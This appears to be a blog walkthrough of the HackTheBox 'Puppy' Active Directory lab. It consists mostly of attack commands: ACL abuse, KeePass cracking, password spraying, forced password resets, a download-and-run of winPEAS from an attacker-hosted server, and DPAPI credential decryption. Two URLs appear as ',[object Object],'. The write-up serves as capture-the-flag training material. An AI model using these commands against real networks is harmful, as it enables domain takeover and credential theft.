>h4ck0rdev_

oscp+ active directory hacking practice, htb puppy

A medium-rated Active Directory machine on HackTheBox. We chain LDAP enumeration, BloodHound, GenericWrite group abuse, a KeePass crack, password spraying, and DPAPI to land Domain Admin.

·4 min read·intermediate#oscp#htb#active-directory#dpapi#keepass
← all tutorials

A medium-rated HackTheBox Active Directory machine that drills the OSCP+ fundamentals: SMB shares, LDAP enumeration, BloodHound graphing, group ACL abuse, cracking offline credential stores, and DPAPI master-key recovery.

Validate the credentials

Port scan ahead of time so you're not waiting on Nmap in the moment. Standard AD ports are open. We have an initial set of creds: levi.james / [password]. First move with credentials, always, is validate them across the AD services.

$nxc smb puppy.htb -u levi.james -p '[password]'

I keep this one-liner around to fan out across the common services:

$for proto in smb ldap winrm rdp; do nxc $proto puppy.htb -u levi.james -p '[password]'; done

WinRM rejects us. LDAP and SMB authenticate. Good enough.

Enumerate the SMB shares

$nxc smb puppy.htb -u levi.james -p '[password]' --shares

Standard shares plus DEV for puppy-devs. That's the gold mine. Try to connect:

$smbclient //puppy.htb/DEV -U 'levi.james%[password]'

STATUS_ACCESS_DENIED. Levi isn't in puppy-devs yet. Note that for later.

Enumerate users

rusers to dump the user list:

$nxc smb puppy.htb -u levi.james -p '[password]' --rid-brute

The output formatting is ugly; this little awk pipeline cleans it up:

nxc smb puppy.htb -u levi.james -p '[password]' --rid-brute \
  | awk -F'\\\\' '/SidTypeUser/{print $2}' | awk '{print $1}'

Users include levi.james, ant.edwards, jamie.williams, steph.cooper. The box was released during NBA playoffs, so the username pattern is obvious.

LDAP dump and BloodHound

Sync clocks first or Kerberos will sulk:

$sudo ntpdate puppy.htb

Run ldapdomaindump:

$mkdir ldap && cd ldap && ldapdomaindump -u 'puppy.htb\levi.james' -p '[password]' puppy.htb

Browse the HTML. We see groups: Developers, Remote Management Users. If we can land adam.silva or steph.cooper.adm, we WinRM in.

LDAP dump is good for a snapshot, but for ACLs we need BloodHound. Spin it up via Docker if you don't have it:

$docker run --rm -p 7474:7474 -p 7687:7687 specterops/bloodhound

Collect with bloodhound-python:

$bloodhound-python -d puppy.htb -u levi.james -p '[password]' -ns $DC_IP -c All

Upload the JSON, mark Levi as Owned, and inspect outbound object control.

Levi → Developers (GenericWrite on group)

Levi is in HR, which has GenericWrite on the Developers group. GenericWrite on a group means we can edit its membership. Add Levi to Developers:

$bloodyAD --host $DC -d puppy.htb -u levi.james -p '[password]' add groupMember Developers levi.james

Verify:

$bloodyAD --host $DC -d puppy.htb -u levi.james -p '[password]' get object Developers --attr member

Levi is now in the group. Reconnect to the DEV share:

$smbclient //puppy.htb/DEV -U 'levi.james%[password]' -c 'recurse ON; ls'

There's a KeePass MSI installer (KeePass 2.79) and recovery.kdbx.

Crack the KeePass database

$get recovery.kdbx

Extract a hash for Hashcat, the usual way:

$keepass2john recovery.kdbx > recovery.hash

But this fails: file version 40000 is currently not supported. KeePass 2.x recent versions use a format keepass2john doesn't grok yet.

$git clone ,[object Object], && cd keepass4brute
$./keepass4brute.sh ../recovery.kdbx /usr/share/wordlists/rockyou.txt

Hit on entry 37 of a million: liverpool. Open the vault:

$keepassxc-cli open recovery.kdbx

Export to CSV so we can iterate the password column:

$keepassxc-cli export -f csv recovery.kdbx > vault.csv

Pull just the passwords:

awk -F',' 'NR>1 {print $4}' vault.csv | tr -d '"' > passwords.txt

Password spray and Ant Edwards

Spray the harvested passwords against every user, stop on first hit:

$nxc smb puppy.htb -u users.txt -p passwords.txt --continue-on-success

ant.edwards matches one of the vault passwords. Back in BloodHound: Ant-Man is a Senior Dev with GenericAll on adam.silva. adam.silva is a Remote Management User → WinRM path.

Ant Edwards → Adam Silva → WinRM

GenericAll = anything we want. Reset Adam's password:

$bloodyAD --host $DC -d puppy.htb -u ant.edwards -p '[ant-pass]' set password adam.silva 'NewPass!23'

Validate over SMB:

$nxc smb puppy.htb -u adam.silva -p 'NewPass!23'

STATUS_ACCOUNT_DISABLED. Adam's userAccountControl flag has the disabled bit set. Since we own the account, flip it:

$bloodyAD --host $DC -d puppy.htb -u ant.edwards -p '[ant-pass]' remove uac adam.silva -f ACCOUNTDISABLE

Now WinRM:

$evil-winrm -i puppy.htb -u adam.silva -p 'NewPass!23'

Shell as Adam.

Backups and DPAPI

In C:\Backups is site-backup.zip. Pull it down, unzip locally:

$unzip site-backup.zip

Inside is a config that exposes a password for steph.cooper. Validate, then:

$evil-winrm -i puppy.htb -u steph.cooper -p '[steph-pass]'

We have winPEAS handy on our attacker box; serve it:

$python3 -m http.server 8000

On the target:

$iwr ,[object Object], -OutFile winPEAS.exe; .\winPEAS.exe

The output flags DPAPI master keys and a credential file under Steph's profile. We need to decrypt them.

Encode the master key blob and the credential file as base64, exfil, decode locally:

$certutil -encode "$env:APPDATA\Microsoft\Protect[SID][masterkey]" master.b64
$base64 -d master.b64 > master.bin

Now Impacket's dpapi:

$impacket-dpapi masterkey -file master.bin -sid [steph-SID] -password '[steph-pass]'

We get the decrypted master key. Same dance for the credential blob:

$impacket-dpapi credential -file vault.bin -key 0x[masterkey-hex]

Inside: a password for steph.cooper.adm.

Domain Admin

Spray the new password just to confirm and feel good (don't do this on a real engagement, account lockouts are real):

$nxc smb puppy.htb -u users.txt -p '[steph-adm-pass]' --continue-on-success

steph.cooper.adm validates. WinRM as her:

$evil-winrm -i puppy.htb -u steph.cooper.adm -p '[steph-adm-pass]'

whoami /priv shows administrator privileges. Read the flag:

$type C:\Users\Administrator\Desktop\root.txt

Done.

Takeaways

  • Validate creds across every AD service the moment you get them, not just SMB.
  • ldapdomaindump for the snapshot, BloodHound for the graph. Use both.
  • GenericWrite on a Group = membership manipulation. GenericAll on a User = full control.
  • KeePass formats keep moving; keepass4brute is the always-works fallback.
  • Disabled accounts aren't a dead end if you have GenericAll. The disable flag is just a UAC bit and you can clear it.
  • DPAPI is the OSCP-grade pivot once you're shelling on a Windows host. Master key + credential file → cleartext.

// share